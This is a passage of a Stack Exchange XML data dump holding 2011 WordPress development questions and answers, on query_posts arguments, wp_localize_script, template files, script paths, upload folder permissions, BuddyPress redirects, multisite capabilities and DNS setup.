  <row Id="19549" PostTypeId="2" ParentId="13872" CreationDate="2011-06-08T21:45:53.233" Score="0" ViewCount="" Body="&lt;p&gt;The registered user only plugin looks only to make sure that a visitor is logedin before viewing your page content. Access to your files via a browser is controled by the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should try the WP plugin AskApache Password Protect - &lt;a href=&quot;http://wordpress.org/extend/plugins/askapache-password-protect/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/askapache-password-protect/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this will only work if your WordPress blog is hosted on an Apache server.&lt;/p&gt;&#xA;" OwnerUserId="6032" LastActivityDate="2011-06-08T21:45:53.233" CommentCount="1" />
  <row Id="19550" PostTypeId="2" ParentId="19543" CreationDate="2011-06-08T21:53:01.610" Score="0" ViewCount="" Body="&lt;p&gt;A good place to start would be Web Hosting talk forums &lt;a href=&quot;http://www.webhostingtalk.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.webhostingtalk.com/&lt;/a&gt; Also Host Search &lt;a href=&quot;http://www.hostsearch.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.hostsearch.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6032" LastActivityDate="2011-06-08T21:53:01.610" CommentCount="1" />
  <row Id="19551" PostTypeId="1" CreationDate="2011-06-08T22:49:55.770" Score="0" ViewCount="109" Body="&lt;pre&gt;&lt;code&gt;                    $args =  array( &#xA;                        'category__and' =&amp;gt; array(1,5),&#xA;                        //'category__and' =&amp;gt; array(5),  &#xA;                        //'category_name' =&amp;gt; 'Test Cat',&#xA;                        //'cat' =&amp;gt; 5,&#xA;                        'author' =&amp;gt; $id &#xA;                        ); &#xA;                    query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So everything that is commented out works, but why does the non-commented &lt;code&gt;category__and&lt;/code&gt; line not work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran this afterwards and it is showing &lt;code&gt;hello&lt;/code&gt;. That's how I know its not returning anything, and I don't know why.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!have_posts()){&#xA;    echo &quot;hello&quot;;       &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I &lt;code&gt;var_dumped($id)&lt;/code&gt; and I am getting the proper user ID. It works fine with the commented lines but not the one that is uncommented.&lt;/p&gt;&#xA;" OwnerUserId="5652" LastEditorUserId="5652" LastEditorDisplayName="" LastEditDate="2011-06-09T00:44:51.313" LastActivityDate="2011-06-09T00:44:51.313" Title="query_posts, category__and, and author: Why does it not work?" Tags="&lt;query-posts&gt;" CommentCount="10" />
  <row Id="19552" PostTypeId="1" AcceptedAnswerId="19558" CreationDate="2011-06-08T23:13:33.787" Score="1" ViewCount="106" Body="&lt;p&gt;I'm creating a plugin that uses jQuery to modify some css, but what I can't figure out is how you can control the execution of the jQuery with WordPress plugin options (like checkboxes true/false). Can WordPress options be used as &quot;variables&quot; in jQuery? Or would every case require a unique .js file?&lt;/p&gt;&#xA;" OwnerUserId="5888" LastActivityDate="2011-06-09T17:33:02.500" Title="WordPress plugin options and jQuery" Tags="&lt;plugin-development&gt;&lt;jquery&gt;&lt;options&gt;" AnswerCount="1" />
  <row Id="19553" PostTypeId="2" ParentId="19488" CreationDate="2011-06-09T00:03:09.767" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;/wp-admin/user-edit.php&lt;/code&gt; starting on line 99. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just check the hooks and filters there and how &lt;code&gt;$profileuser&lt;/code&gt; get's called. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Pay attention on the switch.) :)&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-09T00:03:09.767" />
  <row Id="19554" PostTypeId="2" ParentId="4794" CreationDate="2011-06-09T00:57:54.947" Score="0" ViewCount="" Body="&lt;p&gt;this is becoming very useful. I have inserted the code to post the grandchildren only:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;post_parent) {&#xA;    // will display the subpages of this top level page&#xA;    $children = wp_list_pages( 'child_of=' . $post-&gt;ID . '&amp;amp;depth=1' );&#xA;   }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;else{&#xA;    // diplays only the subpages of parent level&#xA;    //$children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&gt;post_parent.&quot;&amp;amp;echo=0&quot;);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($post-&amp;gt;ancestors)&#xA;{&#xA; // now you can get the the top ID of this page&#xA; // wp is putting the ids DESC, thats why the top level ID is the last one&#xA; $ancestors = end($post-&amp;gt;ancestors);&#xA; $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$ancestors.&quot;&amp;amp;echo=0&quot;);&#xA; // you will always get the whole subpages list&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if ($children) { ?&gt;&#xA;    &lt;ul&gt;&#xA;     &#xA;    &lt;/ul&gt;&#xA;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it there a way to shown the menu when you are other siblings page?&lt;/p&gt;&#xA;" OwnerUserId="6034" LastActivityDate="2011-06-09T00:57:54.947" />
  <row Id="19555" PostTypeId="1" AcceptedAnswerId="19556" CreationDate="2011-06-09T01:06:41.060" Score="0" ViewCount="60" Body="&lt;p&gt;I want to simply create a link to a page that I know the title (or ID), but I want to make sure it works on any Wordpress install. What is the best way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-06-09T01:49:57.687" Title="Link to Particular Page Within Template PHP Code" Tags="&lt;permalinks&gt;&lt;page&gt;&lt;permalink&gt;" AnswerCount="1" />
  <row Id="19556" PostTypeId="2" ParentId="19555" CreationDate="2011-06-09T01:49:57.687" Score="2" ViewCount="" Body="&lt;p&gt;You probably want to use get_permalink and get_the_title.  Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink( YOUR POST ID ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo get_the_title( YOUR POST ID ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace YOUR POST ID with the ID of the post you'd like to link to.  Post ID's will change from install to install, however, so this might not work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_title&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_the_title&lt;/a&gt;&#xA;http://codex.wordpress.org/Function_Reference/get_permalink&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-06-09T01:49:57.687" />
  <row Id="19557" PostTypeId="2" ParentId="6749" CreationDate="2011-06-09T01:56:58.030" Score="0" ViewCount="" Body="&lt;p&gt;This tutorial on adding custom meta boxes is also really good: &lt;a href=&quot;http://webdesignfan.com/custom-write-panels-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://webdesignfan.com/custom-write-panels-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's all very flexible; you should be able to reuse the code you create.&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-06-09T01:56:58.030" />
  <row Id="19558" PostTypeId="2" ParentId="19552" CreationDate="2011-06-09T02:03:26.100" Score="2" ViewCount="" Body="&lt;p&gt;Variable can be passed to jQuery or any javascript using &lt;code&gt;wp_localize_script&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'template_redirect', 'prefix_enqueue_vars' );&#xA;function prefix_enqueue_vars() {&#xA;$script_vars = array(&#xA;      'setting_1' =&amp;gt; get_option( 'some_option' ),&#xA;      'setting_2' =&amp;gt; get_option( 'another_option' ),&#xA;);&#xA;&#xA;wp_enqueue_script( 'my_script', 'path/to/script.js', array( 'jquery' ), true);&#xA;wp_localize_script( 'my_script', 'unique_name', $script_vars );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to get the variables in your javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;&#xA;$var_1 = unique_name.setting_1&#xA;$var_2 = unique_name.setting_2&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WordPress will output your variables between &lt;code&gt;&amp;lt;sript&amp;gt; &amp;lt;/script&amp;gt;&lt;/code&gt; tags before enqueuing the javascript file so they will be available to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://ottopress.com/tag/wp_localize_script/&quot; rel=&quot;nofollow&quot;&gt;wp_localize_script&lt;/a&gt; from Otto on WordPress for more information.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Edit:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Try adding the variables to a function that returns the value.  I'm using the exact code below and it works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_localize_script( 'cmb-scripts', 'MaxChar', array( 'charlimit' =&amp;gt; c3m_get_the_size( $excerpt_length[0] ) ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function that returns the variables below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function c3m_get_the_size() {&#xA;global $post; global $prefix;&#xA;$box_size = get_post_meta( $post-&amp;gt;ID, $prefix.'box_size', true );&#xA; if  ( $box_size == 'single-single' ) { $excerpt_length = 150; &#xA;} elseif ( $box_size == 'single-double' ) { $excerpt_length = 150; &#xA;} elseif ( $box_size == 'single-triple' ) { $excerpt_length = 150;&#xA;&#xA;}&#xA;return $excerpt_length;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-06-09T17:33:02.500" LastActivityDate="2011-06-09T17:33:02.500" CommentCount="5" />
  <row Id="19559" PostTypeId="2" ParentId="19461" CreationDate="2011-06-09T02:23:45.110" Score="0" ViewCount="" Body="&lt;p&gt;Initially, Wyck told me to study the &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query article on WordPress's site&lt;/a&gt;. This was very overwhelming to try and pick up, and I searched the web for articles that might give me a quicker answer, but I couldn't find anything that was relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is similar but different than Wyck's answer, but I only figured it out by studying a new article just released on &lt;a href=&quot;http://coding.smashingmagazine.com/2011/06/08/how-to-build-a-media-site-on-wordpress-part-2/&quot; rel=&quot;nofollow&quot;&gt;Smashing Magazine on How to Build a Media Site on WordPress&lt;/a&gt;. I would still prefer to query whether a page contains an excerpt or not, and only show that page, but this is a good solution in the interim.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    // Get the pages with excerpts&#xA;  $excerpt = new WP_Query(&#xA;    array(&#xA;        'post_type' =&amp;gt; 'page', // Tell WordPress which post type we want&#xA;        'posts_per_page' =&amp;gt; '3', // Show the first 3&#xA;        'orderby' =&amp;gt; 'meta_value', // Order by meta_key, defined on next line&#xA;        'meta_key' =&amp;gt; 'order', // Look for numerical value in this key&#xA;        'order' =&amp;gt; 'ASC', // Ascending order&#xA;        'meta_query' =&amp;gt; array( // Return only pages with home_widget meta key set to true&#xA;            array(&#xA;                'key' =&amp;gt; 'home_widget',&#xA;                'value' =&amp;gt; 'true',&#xA;                )&#xA;            )&#xA;        )&#xA;    );&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;excerpt&quot;&amp;gt;&#xA;    &amp;lt;?php //Start new loop looking for pages only with $excerpt from above &#xA;          while ( $excerpt-&amp;gt;have_posts() ) : $excerpt-&amp;gt;the_post(); ?&amp;gt;&#xA;    &amp;lt;li class=&quot;module&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6000" LastActivityDate="2011-06-09T02:23:45.110" />
  <row Id="19560" PostTypeId="2" ParentId="19461" CreationDate="2011-06-09T02:42:27.413" Score="0" ViewCount="" Body="&lt;p&gt;One problem: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;&lt;em&gt;On the front page, in my home.php&#xA;  file&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;home.php&lt;/code&gt; template file is &lt;strong&gt;not&lt;/strong&gt; the &lt;em&gt;Front Page&lt;/em&gt; template; rather, it is the &lt;em&gt;Blog Posts Index&lt;/em&gt; template. The &lt;em&gt;Front Page&lt;/em&gt; template is &lt;code&gt;front-page.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should never see both &lt;code&gt;is_home()&lt;/code&gt; and &lt;code&gt;is_page()&lt;/code&gt; return &lt;code&gt;true&lt;/code&gt; at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, you should be using &lt;code&gt;front-page.php&lt;/code&gt; as your Front Page template file, and you should be using &lt;code&gt;is_front_page()&lt;/code&gt; as your conditional.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-09T02:42:27.413" CommentCount="5" />
  <row Id="19561" PostTypeId="2" ParentId="16745" CreationDate="2011-06-09T03:12:26.233" Score="1" ViewCount="" Body="&lt;p&gt;The WPMU DEV team has created the &lt;a href=&quot;http://wordpress.org/extend/plugins/qa/&quot; rel=&quot;nofollow&quot;&gt;Q&amp;amp;A plugin&lt;/a&gt;, and it's described as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Q&amp;amp;A allows any WordPress site to have&#xA;  a fully featured questions and answers&#xA;  section - just like StackOverflow,&#xA;  Yahoo Answers, Quora and more...except&#xA;  better&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-09T03:12:26.233" />
  <row Id="19562" PostTypeId="1" AcceptedAnswerId="19564" CreationDate="2011-06-09T03:20:17.693" Score="0" ViewCount="55" Body="&lt;p&gt;Let me explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a link &lt;code&gt;www.mydomain.com/%artist-name%/%song-title%/&lt;/code&gt;.&lt;br&gt;&#xA;&lt;code&gt;artist-name&lt;/code&gt; is a custom post type. &lt;br&gt;&#xA;&lt;code&gt;song-title&lt;/code&gt; is the title of the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, &lt;code&gt;www.mydomain.com/%artist-name%/%song-title%/&lt;/code&gt; displays the song entry -which is working great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when I'm in &lt;code&gt;www.mydomain.com/%artist-name%/&lt;/code&gt;. It would display all the post titles. I don't want it to be that. Is there a way to make it post the artist's info?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;note:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;%artist-name%&lt;/code&gt; and &lt;code&gt;%song-title%&lt;/code&gt; can have any value. That's why it's really a problem.&lt;/p&gt;&#xA;" OwnerUserId="974" LastEditorUserId="974" LastEditorDisplayName="" LastEditDate="2011-06-09T04:09:21.200" LastActivityDate="2011-06-10T06:53:06.107" Title="custom post type problem" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="19563" PostTypeId="1" AcceptedAnswerId="19569" CreationDate="2011-06-09T03:38:05.760" Score="0" ViewCount="105" Body="&lt;p&gt;When I try to upload an image to a post, I get an error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The uploaded file could not be moved to /home/httpd/xxxx/xxxx/xxx/wp/wp-content/uploads.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My server is set up in safe_mode - is that the problem? What can I do about it?&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-06-09T05:43:33.657" Title="File Upload with Server in safe_mode" Tags="&lt;php&gt;&lt;uploads&gt;&lt;media-upload&gt;" AnswerCount="1" />
  <row Id="19564" PostTypeId="2" ParentId="19562" CreationDate="2011-06-09T03:47:48.223" Score="2" ViewCount="" Body="&lt;p&gt;You can create specific &lt;code&gt;single.php&lt;/code&gt; for your custom post types, in the form &lt;code&gt;single-customposttype.php&lt;/code&gt; (it's the same with &lt;code&gt;archive.php&lt;/code&gt;, see &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt;) for example &lt;code&gt;single-artist-name.php&lt;/code&gt;. Then in those templates you can do pretty much whatever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a very simple example of &lt;code&gt;single-artist-name.php&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Artist : &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this, if you visit &lt;code&gt;www.mydomain.com/miles-davis/&lt;/code&gt; you'll see for example :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Artist : Miles Davis&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Widely considered one of the most influential musicians of the 20th century etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And so on, the same single post template would be applied to any &lt;code&gt;artist-name&lt;/code&gt; post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What sounds strange to me is why would you see all post titles when you visit &lt;code&gt;www.mydomain.com/%artist-name%/&lt;/code&gt;, that looks more like a taxonomy archive. Are you sure that &lt;code&gt;artist-name&lt;/code&gt; is registered as a custom post type? &lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-10T06:53:06.107" LastActivityDate="2011-06-10T06:53:06.107" CommentCount="2" />
  <row Id="19565" PostTypeId="1" CreationDate="2011-06-09T04:40:39.823" Score="-1" ViewCount="57" Body="&lt;p&gt;I uploaded a few &lt;code&gt;.js&lt;/code&gt; files, so my &lt;code&gt;js&lt;/code&gt; folder is in the root (The same level as wp-contents). I have a few .js files, but I just uploaded the masonry library and when I try to access it via &lt;code&gt;domain.com/js/masory.js&lt;/code&gt;, it just goes to a 404. Is there something I am supposed to do with Wordpress ? The weird thing is, my other javascript in the same file works and it doesn't go to the 404. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, my custom.js (jQuery stuff) works, but the other doesn't:&lt;/p&gt;&#xA;&#xA; &#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot; src=&quot;http://domain.com/js/jquery.eachdelay-0.0.1.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot; src=&quot;http://domain.com/js/jquery.masonry.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5652" LastActivityDate="2011-06-09T05:05:51.807" Title="My .js file is getting a 404" Tags="&lt;jquery&gt;" AnswerCount="2" />
  <row Id="19566" PostTypeId="2" ParentId="19565" CreationDate="2011-06-09T05:00:42.677" Score="1" ViewCount="" Body="&lt;p&gt;you should place your Javascript files in a subfolder of your theme rather than adding folders to the base structure of WP.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-09T05:00:42.677" />
  <row Id="19567" PostTypeId="2" ParentId="19565" CreationDate="2011-06-09T05:05:51.807" Score="1" ViewCount="" Body="&lt;p&gt;What I usually do is create a folder for the scripts inside the theme folder then place this line to the header.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/scriptsfolder/script.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4474" LastActivityDate="2011-06-09T05:05:51.807" />
  <row Id="19568" PostTypeId="2" ParentId="13872" CreationDate="2011-06-09T05:33:06.913" Score="-1" ViewCount="" Body="&lt;p&gt;you could try disabling directory browsing on your wordpress blog&#xA;check out this article, it will stop any joe blow from grabbing your goodies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpressdesignshop.com/how-to-turn-off-directory-browsing-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpressdesignshop.com/how-to-turn-off-directory-browsing-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5825" LastActivityDate="2011-06-09T05:33:06.913" />
  <row Id="19569" PostTypeId="2" ParentId="19563" CreationDate="2011-06-09T05:43:33.657" Score="0" ViewCount="" Body="&lt;p&gt;It has nothing to do with safe_mode&#xA;try this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;login to your ftp&lt;/li&gt;&#xA;&lt;li&gt;make your wp-content folder 755&lt;/li&gt;&#xA;&lt;li&gt;inside wp-content create a new folder called &quot;uploads&quot;, make it 777 (755 should also work)&lt;/li&gt;&#xA;&lt;li&gt;inside the control admin panel, go to settings&gt;miscellaneous and on the first line enter &quot;wp-content/uploads&quot; as where your uploads will go to.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Save and go try !&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-09T05:43:33.657" CommentCount="1" />
  <row Id="19571" PostTypeId="1" AcceptedAnswerId="19622" CreationDate="2011-06-09T07:03:09.330" Score="0" ViewCount="57" Body="&lt;p&gt;this is what im doing... In BuddyPress, before delete user account, if a user has attachments previously uploaded, he or she will be redirected to their own attachments list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_get_count_before_delete() {&#xA;&#xA;    global $bp, $wpdb;&#xA;&#xA;    $user_id = $bp-&amp;gt;loggedin_user-&amp;gt;id;&#xA;&#xA;    return $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( &quot;&#xA;      SELECT COUNT(DISTINCT p.ID) &#xA;        FROM $wpdb-&amp;gt;posts p &#xA;        WHERE p.post_author = %d &#xA;          AND p.post_status = 'inherit' &#xA;          AND p.post_type = 'attachment'&quot;, $user_id&#xA;    ) );&#xA;&#xA;}&#xA;&#xA;&#xA;function custom_check_delete_account () {&#xA;&#xA;    global $bp;&#xA;&#xA;    if ( $bp-&amp;gt;current_component == 'settings' &amp;amp;&amp;amp; $bp-&amp;gt;current_action == 'delete-account' ) {&#xA;&#xA;        if ( $count = custom_get_count_before_delete() ) {&#xA;&#xA;            wp_redirect('http://www.mysite.lh/wp-admin/upload.php', 301 ); exit;&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;&#xA;}&#xA;&#xA;add_action('init', 'custom_check_delete_account', 11);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is:&#xA;How do I set or inject a message or warning message before to redirect and print it after redirect on the &quot;/wp-admin/upload.php&quot; list of attachments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-06-09T19:51:20.320" LastActivityDate="2011-06-09T19:51:20.320" Title="Delete user account - If user has attachments uploaded then redirect (with a message)" Tags="&lt;buddypress&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="19573" PostTypeId="1" CreationDate="2011-06-09T08:35:46.443" Score="0" ViewCount="89" Body="&lt;p&gt;How can the &lt;code&gt;unfiltered_html&lt;/code&gt; capability be given to non network admins in a multisite install to allow HTML in titles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In wp-includes/capabilities.php (below) it appears that this capability can not be given to non super_admins.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case 'unfiltered_html':&#xA;        // Disallow unfiltered_html for all users, even admins and super admins.&#xA;        if ( defined('DISALLOW_UNFILTERED_HTML') &amp;amp;&amp;amp; DISALLOW_UNFILTERED_HTML ) {&#xA;            $caps[] = 'do_not_allow';&#xA;            break;&#xA;        }&#xA;        // Fall through if not DISALLOW_UNFILTERED_HTML&#xA;    case 'delete_user':&#xA;    case 'delete_users':&#xA;        // If multisite these caps are allowed only for super admins.&#xA;        if ( is_multisite() &amp;amp;&amp;amp; !is_super_admin() )&#xA;            $caps[] = 'do_not_allow';&#xA;        else&#xA;            $caps[] = $cap;&#xA;        break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible without removing all html filtering or &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1564/modifying-wordpress-core-files&quot;&gt;committing the dirty deed&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use Case:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Editors and writers are demanding the ability to use &lt;code&gt;&amp;lt;br/&amp;gt;&lt;/code&gt; tags in titles to split into 2 or 3 lines when needed.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Current Workaround:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Alternate title metabox that replaces the_title on front end when filled in. (It's confusing the writers)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Easier Solution:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Give them super admin access (publisher will not allow)&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-06-09T08:53:05.563" LastActivityDate="2011-06-10T13:04:54.693" Title="Allow unfiltered HTML in titles for low level users?" Tags="&lt;capabilities&gt;&lt;user-roles&gt;&lt;remove-filter&gt;" AnswerCount="3" />
  <row Id="19574" PostTypeId="1" CreationDate="2011-06-09T08:45:54.153" Score="0" ViewCount="132" Body="&lt;p&gt;I've got a custom MySQL table which I would like to query using the wpdb object. I'm presenting the result with pagination which forces me to use an SQL statement like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SELECT * FROM table WHERE column_name = 5 LIMIT 0,9&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get the total number of rows without using a second query? Right now I'm using a second query looking something like this and it doesn't seem to be the most effective solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SELECT COUNT(*) FROM table WHERE column_name = 5&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2011-06-09T08:45:54.153" Title="Getting total number of rows with only one sql query using limit" Tags="&lt;wpdb&gt;" CommentCount="5" />
  <row Id="19575" PostTypeId="1" CreationDate="2011-06-09T09:04:50.863" Score="0" ViewCount="74" Body="&lt;p&gt;Just wondering if anyone can help me. Had a wordpress site up and running everything working fine, person already had emails setup to run on gmail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The emails are all working fine after we changed the DNS settings to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Name    Type    Content&#xA;@ A 94.136.40.103&#xA;cal CNAME ghs.google.com.&#xA;Docs CNAME ghs.google.com.&#xA;mail CNAME ghs.google.com.&#xA;sites CNAME ghs.google.com.&#xA;start CNAME ghs.google.com.&#xA;www A 79.170.44.208&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These settings load the site on &lt;a href=&quot;http://www.sitename.com&quot; rel=&quot;nofollow&quot;&gt;http://www.sitename.com&lt;/a&gt; but load the old site on &lt;a href=&quot;http://sitename.com&quot; rel=&quot;nofollow&quot;&gt;http://sitename.com&lt;/a&gt;,  I've setup a 301 re-direct to all go to www. However only images in the theme file load. Non from the media etc. Also clicking page links all link to just points at non-www where it cannot find the 